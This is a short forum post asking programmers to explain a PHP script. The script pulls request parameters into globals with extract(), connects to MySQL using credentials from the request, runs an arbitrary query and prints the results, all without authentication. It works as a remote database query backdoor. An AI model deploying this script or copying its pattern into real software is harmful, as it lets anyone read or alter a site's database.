|
programmers alert: identify this php code please
tell me what this code is supposed to do:
<?php
if (ini_get('register_globals') != '1') {
/* We'll register the variables as globals: */
if (!empty($HTTP_POST_VARS))
extract($HTTP_POST_VARS);
if (!empty($HTTP_GET_VARS))
extract($HTTP_GET_VARS);
if (!empty($HTTP_SERVER_VARS))
extract($HTTP_SERVER_VARS);
}
$lnk = mysql_connect($host,$user,$pass);
echo "<hr>Begin\n";
if ($query) {
$testquery = stripslashes($query);
mysql_select_db($database, $lnk);
$result = mysql_query($testquery) or die("Query failed : " . mysql_error());
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
foreach ($line as $col_value) {
echo "$col_value\t";
}
echo "\n";
}
}
die ("<hr>End");
?>
|